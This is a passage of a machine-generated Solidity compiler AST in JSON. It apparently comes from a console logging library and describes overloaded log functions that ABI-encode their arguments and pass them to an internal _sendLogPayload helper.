scriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":18613,"mutability":"mutable","name":"p2","nameLocation":"24913:2:14","nodeType":"VariableDeclaration","scope":18630,"src":"24908:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":18612,"name":"uint","nodeType":"ElementaryTypeName","src":"24908:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":18615,"mutability":"mutable","name":"p3","nameLocation":"24931:2:14","nodeType":"VariableDeclaration","scope":18630,"src":"24917:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":18614,"name":"string","nodeType":"ElementaryTypeName","src":"24917:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"24889:45:14"},"returnParameters":{"id":18617,"nodeType":"ParameterList","parameters":[],"src":"24949:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":18653,"nodeType":"FunctionDefinition","src":"25058:164:14","nodes":[],"body":{"id":18652,"nodeType":"Block","src":"25121:101:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672875696e742c626f6f6c2c75696e742c626f6f6c29","id":18644,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"25171:26:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_d2abc4fdef6f35f3785755f2ca3a26416b52c0c4c5ad8b27342fc84a56532f2f","typeString":"literal_string \"log(uint,bool,uint,bool)\""},"value":"log(uint,bool,uint,bool)"},{"id":18645,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18632,"src":"25199:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":18646,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18634,"src":"25203:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":18647,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18636,"src":"25207:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":18648,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18638,"src":"25211:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_d2abc4fdef6f35f3785755f2ca3a26416b52c0c4c5ad8b27342fc84a56532f2f","typeString":"literal_string \"log(uint,bool,uint,bool)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":18642,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"25147:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":18643,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"25151:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"25147:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":18649,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"25147:67:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":18641,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"25131:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":18650,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"25131:84:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":18651,"nodeType":"ExpressionStatement","src":"25131:84:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"25067:3:14","parameters":{"id":18639,"nodeType":"ParameterList","parameters":[{"constant":false,"id":18632,"mutability":"mutable","name":"p0","nameLocation":"25076:2:14","nodeType":"VariableDeclaration","scope":18653,"src":"25071:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":18631,"name":"uint","nodeType":"ElementaryTypeName","src":"25071:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":18634,"mutability":"mutable","name":"p1","nameLocation":"25085:2:14","nodeType":"VariableDeclaration","scope":18653,"src":"25080:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":18633,"name":"bool","nodeType":"ElementaryTypeName","src":"25080:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":18636,"mutability":"mutable","name":"p2","nameLocation":"25094:2:14","nodeType":"VariableDeclaration","scope":18653,"src":"25089:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":18635,"name":"uint","nodeType":"ElementaryTypeName","src":"25089:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":18638,"mutability":"mutable","name":"p3","nameLocation":"25103:2:14","nodeType":"VariableDeclaration","scope":18653,"src":"25098:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":18637,"name":"bool","nodeType":"ElementaryTypeName","src":"25098:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"25070:36:14"},"returnParameters":{"id":18640,"nodeType":"ParameterList","parameters":[],"src":"25121:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":18676,"nodeType":"FunctionDefinition","src":"25228:170:14","nodes":[],"body":{"id":18675,"nodeType":"Block","src":"25294:104:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672875696e742c626f6f6c2c75696e742c6164647265737329","id":18667,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"25344:29:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_4f40058ea8927b23c60661eeb28f54d3ce10f5f6cdd8e3ce445d34409ceb50a3","typeString":"literal_string \"log(uint,bool,uint,address)\""},"value":"log(uint,bool,uint,address)"},{"id":18668,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18655,"src":"25375:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":18669,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18657,"src":"25379:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":18670,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18659,"src":"25383:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":18671,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18661,"src":"25387:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_4f40058ea8927b23c60661eeb28f54d3ce10f5f6cdd8e3ce445d34409ceb50a3","typeString":"literal_string \"log(uint,bool,uint,address)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":18665,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"25320:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":18666,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"25324:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"25320:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":18672,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"25320:70:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":18664,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"25304:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":18673,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"25304:87:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":18674,"nodeType":"ExpressionStatement","src":"25304:87:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"25237:3:14","parameters":{"id":18662,"nodeType":"ParameterList","parameters":[{"constant":false,"id":18655,"mutability":"mutable","name":"p0","nameLocation":"25246:2:14","nodeType":"VariableDeclaration","scope":18676,"src":"25241:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":18654,"name":"uint","nodeType":"ElementaryTypeName","src":"25241:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":18657,"mutability":"mutable","name":"p1","nameLocation":"25255:2:14","nodeType":"VariableDeclaration","scope":18676,"src":"25250:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":18656,"name":"bool","nodeType":"ElementaryTypeName","src":"25250:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":18659,"mutability":"mutable","name":"p2","nameLocation":"25264:2:14","nodeType":"VariableDeclaration","scope":18676,"src":"25259:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":18658,"name":"uint","nodeType":"ElementaryTypeName","src":"25259:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":18661,"mutability":"mutable","name":"p3","nameLocation":"25276:2:14","nodeType":"VariableDeclaration","scope":18676,"src":"25268:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":18660,"name":"address","nodeType":"ElementaryTypeName","src":"25268:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"25240:39:14"},"returnParameters":{"id":18663,"nodeType":"ParameterList","parameters":[],"src":"25294:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":18699,"nodeType":"FunctionDefinition","src":"25404:175:14","nodes":[],"body":{"id":18698,"nodeType":"Block","src":"25476:103:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672875696e742c626f6f6c2c737472696e672c75696e7429","id":18690,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"25526:28:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_915fdb28841654f5e04882ad0aa4f5de28bd90db1a700dae8b1eb5e67e36a012","typeString":"literal_string \"log(uint,bool,string,uint)\""},"value":"log(uint,bool,string,uint)"},{"id":18691,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18678,"src":"25556:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":18692,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18680,"src":"25560:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":18693,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18682,"src":"25564:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":18694,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18684,"src":"25568:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_915fdb28841654f5e04882ad0aa4f5de28bd90db1a700dae8b1eb5e67e36a012","typeString":"literal_string \"log(uint,bool,string,uint)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":18688,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"25502:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":18689,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"25506:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"25502:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":18695,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"25502:69:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":18687,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"25486:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":18696,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"25486:86:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":18697,"nodeType":"ExpressionStatement","src":"25486:86:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"25413:3:14","parameters":{"id":18685,"nodeType":"ParameterList","parameters":[{"constant":false,"id":18678,"mutability":"mutable","name":"p0","nameLocation":"25422:2:14","nodeType":"VariableDeclaration","scope":18699,"src":"25417:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":18677,"name":"uint","nodeType":"ElementaryTypeName","src":"25417:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":18680,"mutability":"mutable","name":"p1","nameLocation":"25431:2:14","nodeType":"VariableDeclaration","scope":18699,"src":"25426:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":18679,"name":"bool","nodeType":"ElementaryTypeName","src":"25426:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":18682,"mutability":"mutable","name":"p2","nameLocation":"25449:2:14","nodeType":"VariableDeclaration","scope":18699,"src":"25435:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":18681,"name":"string","nodeType":"ElementaryTypeName","src":"25435:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":18684,"mutability":"mutable","name":"p3","nameLocation":"25458:2:14","nodeType":"VariableDeclaration","scope":18699,"src":"25453:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":18683,"name":"uint","nodeType":"ElementaryTypeName","src":"25453:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"25416:45:14"},"returnParameters":{"id":18686,"nodeType":"ParameterList","parameters":[],"src":"25476:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":18722,"nodeType":"FunctionDefinition","src":"25585:186:14","nodes":[],"body":{"id":18721,"nodeType":"Block","src":"25666:105:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672875696e742c626f6f6c2c737472696e672c737472696e6729","id":18713,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"25716:30:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_a433fcfd538cd0e077747fbb2c5a6453c1804c6ad4af653273e0d14ab4a0566a","typeString":"literal_string \"log(uint,bool,string,string)\""},"value":"log(uint,bool,string,string)"},{"id":18714,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18701,"src":"25748:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":18715,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18703,"src":"25752:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":18716,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18705,"src":"25756:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":18717,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18707,"src":"25760:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_a433fcfd538cd0e077747fbb2c5a6453c1804c6ad4af653273e0d14ab4a0566a","typeString":"literal_string \"log(uint,bool,string,string)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":18711,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"25692:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":18712,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"25696:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"25692:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":18718,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"25692:71:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":18710,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"25676:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":18719,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"25676:88:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":18720,"nodeType":"ExpressionStatement","src":"25676:88:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"25594:3:14","parameters":{"id":18708,"nodeType":"ParameterList","parameters":[{"constant":false,"id":18701,"mutability":"mutable","name":"p0","nameLocation":"25603:2:14","nodeType":"VariableDeclaration","scope":18722,"src":"25598:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":18700,"name":"uint","nodeType":"ElementaryTypeName","src":"25598:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":18703,"mutability":"mutable","name":"p1","nameLocation":"25612:2:14","nodeType":"VariableDeclaration","scope":18722,"src":"25607:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":18702,"name":"bool","nodeType":"ElementaryTypeName","src":"25607:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":18705,"mutability":"mutable","name":"p2","nameLocation":"25630:2:14","nodeType":"VariableDeclaration","scope":18722,"src":"25616:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":18704,"name":"string","nodeType":"ElementaryTypeName","src":"25616:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":18707,"mutability":"mutable","name":"p3","nameLocation":"25648:2:14","nodeType":"VariableDeclaration","scope":18722,"src":"25634:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":18706,"name":"string","nodeType":"ElementaryTypeName","src":"25634:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"25597:54:14"},"returnParameters":{"id":18709,"nodeType":"ParameterList","parameters":[],"src":"25666:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":18745,"nodeType":"FunctionDefinition","src":"25777:175:14","nodes":[],"body":{"id":18744,"nodeType":"Block","src":"25849:103:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672875696e742c626f6f6c2c737472696e672c626f6f6c29","id":18736,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"25899:28:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_346eb8c74221bcb2c0a69b8dde628b7e6175c4f090782c8f07996b251212e22d","typeString":"literal_string \"log(uint,bool,string,bool)\""},"value":"log(uint,bool,string,bool)"},{"id":18737,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18724,"src":"25929:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":18738,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18726,"src":"25933:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":18739,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18728,"src":"25937:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":18740,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18730,"src":"25941:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_346eb8c74221bcb2c0a69b8dde628b7e6175c4f090782c8f07996b251212e22d","typeString":"literal_string \"log(uint,bool,string,bool)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":18734,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"25875:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":18735,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"25879:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"25875:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":18741,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"25875:69:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":18733,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"25859:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":18742,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"25859:86:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":18743,"nodeType":"ExpressionStatement","src":"25859:86:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"25786:3:14","parameters":{"id":18731,"nodeType":"ParameterList","parameters":[{"constant":false,"id":18724,"mutability":"mutable","name":"p0","nameLocation":"25795:2:14","nodeType":"VariableDeclaration","scope":18745,"src":"25790:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":18723,"name":"uint","nodeType":"ElementaryTypeName","src":"25790:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":18726,"mutability":"mutable","name":"p1","nameLocation":"25804:2:14","nodeType":"VariableDeclaration","scope":18745,"src":"25799:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":18725,"name":"bool","nodeType":"ElementaryTypeName","src":"25799:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":18728,"mutability":"mutable","name":"p2","nameLocation":"25822:2:14","nodeType":"VariableDeclaration","scope":18745,"src":"25808:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":18727,"name":"string","nodeType":"ElementaryTypeName","src":"25808:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":18730,"mutability":"mutable","name":"p3","nameLocation":"25831:2:14","nodeType":"VariableDeclaration","scope":18745,"src":"25826:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":18729,"name":"bool","nodeType":"ElementaryTypeName","src":"25826:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"25789:45:14"},"returnParameters":{"id":18732,"nodeType":"ParameterList","parameters":[],"src":"25849:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":18768,"nodeType":"FunctionDefinition","src":"25958:181:14","nodes":[],"body":{"id":18767,"nodeType":"Block","src":"26033:106:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672875696e742c626f6f6c2c737472696e672c6164647265737329","id":18759,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"26083:31:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_496e2bb45f5cdd3680c3e807c53955b9de163e898851c7844433c0a9c91dcd9d","typeString":"literal_string \"log(uint,bool,string,address)\""},"value":"log(uint,bool,string,address)"},{"id":18760,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18747,"src":"26116:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":18761,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18749,"src":"26120:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":18762,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18751,"src":"26124:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string 